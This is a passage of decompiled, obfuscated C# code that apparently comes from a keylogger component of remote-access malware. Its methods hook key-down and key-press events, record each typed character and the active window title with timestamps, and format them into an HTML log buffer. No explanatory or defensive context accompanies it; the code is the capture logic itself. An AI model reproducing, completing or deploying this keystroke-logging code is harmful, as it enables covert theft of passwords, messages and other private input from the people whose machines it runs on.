// Token: 0x060005B2 RID: 1458 RVA: 0x00014030 File Offset: 0x00012230 private void OnKeyDown(object sender, KeyEventArgs e) { string text = GClass28.smethod_7(); if (!string.IsNullOrEmpty(text) && text != this._lastWindowTitle) { this._lastWindowTitle = text; this._logFileBuffer.Append(string.Concat(new string[] { "<p class=\"h\"><br><br>[<b>", text, " - ", DateTime.Now.ToString("HH:mm"), "</b>]</p><br>" })); } if (this._pressedKeys.smethod_0() && !this._pressedKeys.Contains(e.KeyCode)) { this._pressedKeys.Add(e.KeyCode); return; } if (!e.KeyCode.smethod_3() && !this._pressedKeys.Contains(e.KeyCode)) { this._pressedKeys.Add(e.KeyCode); } }
// Token: 0x060005B3 RID: 1459 RVA: 0x00014110 File Offset: 0x00012310 private void OnKeyPress(object sender, KeyPressEventArgs e) { if (this._pressedKeys.smethod_0() && this._pressedKeys.smethod_2(e.KeyChar)) { return; } if ((!this._pressedKeyChars.Contains(e.KeyChar) || !GClass28.smethod_4(this._pressedKeyChars, e.KeyChar)) && !this._pressedKeys.smethod_2(e.KeyChar)) { string value = GClass28.smethod_5(e.KeyChar); if (!string.IsNullOrEmpty(value)) { if (this._pressedKeys.smethod_0()) { this._ignoreSpecialKeys = true; } this._pressedKeyChars.Add(e.KeyChar); this._logFileBuffer.Append(value); } } }
// Token: 0x060005B5 RID: 1461 RVA: 0x000141C0 File Offset: 0x000123C0 private string HighlightSpecialKeys(Keys[] keys) { if (keys.Length < 1) { return(string.Empty); } string[] array = new string[keys.Length]; for (int i = 0; i < keys.Length; i++) { if (!this._ignoreSpecialKeys) { array[i] = GClass28.smethod_6(keys[i], false); } else { array[i] = string.Empty; this._pressedKeys.Remove(keys[i]); } } this._ignoreSpecialKeys = false; if (this._pressedKeys.smethod_0()) { StringBuilder stringBuilder = new StringBuilder(); int num = 0; for (int j = 0; j < array.Length; j++) { this._pressedKeys.Remove(keys[j]); if (!string.IsNullOrEmpty(array[j])) { stringBuilder.AppendFormat((num == 0) ? "<p class=\"h\">[{0}" : " + {0}", array[j]); num++; } } if (num > 0) { stringBuilder.Append("]</p>"); } return(stringBuilder.ToString()); } StringBuilder stringBuilder2 = new StringBuilder(); for (int k = 0; k < array.Length; k++) { this._pressedKeys.Remove(keys[k]); if (!string.IsNullOrEmpty(array[k])) { string a; if ((a = array[k]) != null) { if (a == "Return") { stringBuilder2.Append("<p class=\"h\">[Enter]</p><br>"); goto IL_153; } if (a == "Escape") { stringBuilder2.Append("<p class=\"h\">[Esc]</p>"); goto IL_153; } } stringBuilder2.Append("<p class=\"h\">[" + array[k] + "]</p>"); } IL_153 :; } return(stringBuilder2.ToString()); }